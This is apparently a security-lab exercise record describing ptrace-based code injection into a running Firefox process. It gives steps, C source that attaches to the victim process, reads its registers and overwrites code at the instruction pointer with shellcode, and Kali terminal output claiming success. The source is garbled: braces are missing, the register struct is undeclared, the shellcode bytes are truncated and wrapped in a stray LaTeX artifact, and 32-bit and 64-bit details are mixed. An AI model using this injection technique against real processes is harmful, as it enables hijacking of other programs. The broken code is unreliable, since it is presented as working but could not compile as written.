EXP NO: 5 DATE: 23/03/24

PROCESS CODE INJECTION

AIM:

To do process code injection on Firefox using ptrace system call

ALGORITHM:

- 1. Find out the pid of the running Firefox program.
- 2. Create the code injection file.
- 3. Get the pid of the Firefox from the command line arguments.
- 4. Allocate memory buffers for the shellcode.
- 5. Attach to the victim process with PTRACE_ATTACH.
- 6. Get the register values of the attached process.
- 7. Use PTRACE POKETEXT to insert the shellcode.
- 8. Detach from the victim process using PTRACE_DETACH

PROGRAM:

```
# include <stdio.h>//C standard input output
# include <stdlib.h>//C Standard General Utilities Library
# include <string.h>//C string lib header
# include <unistd.h>//standard symbolic constants and types
# include <sys/wait.h>//declarations for waiting
# include <sys/ptrace.h>//gives access to ptrace functionality
# include <sys/user.h>//gives ref to regs
char shellcode[]={
\label{label} $$ ''\times 31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97'' $
};
void header()
printf("----\n");
int main(int argc,char**argv)
int i,size,pid=0;
char*buff;
header():
pid=atoi(argv[1]);
size=sizeof(shellcode);
buff=(char*)malloc(size);
memset(buff,0x0,size);
memcpy(buff,shellcode,sizeof(shellcode));
```

```
ptrace(PTRACE_ATTACH,pid,0,0);
wait((int*)0);
ptrace(PTRACE_GETREGS,pid,0,&reg);
printf("Writing EIP 0x%x, process %d\n",reg.eip,pid);
for(i=0;i<size;i++){
ptrace(PTRACE_POKETEXT,pid,reg.eip+i,*(int*)(buff+i));
}
ptrace(PTRACE_DETACH,pid,0,0);
free(buff);
return 0;
}</pre>
```

OUTPUT:

```
(kali@ kali)-[~/Documents/cnslab]
$ vi codeinjection.c

(kali@ kali)-[~/Documents/cnslab]
$ gcc codeinjection.c -o codeinject

(kali@ kali)-[~/Documents/cnslab]
$ ps -e|grep firefox
27562 ? 00:00:12 firefox-esr

(kali@ kali)-[~/Documents/cnslab]
$ ./codeinject 27562

Memory bytecode injector—
Writing EIP 0×d8919a1f, process 27562
```

RESULT:

Thus, code injection on Firefox is carried out using ptrace system call.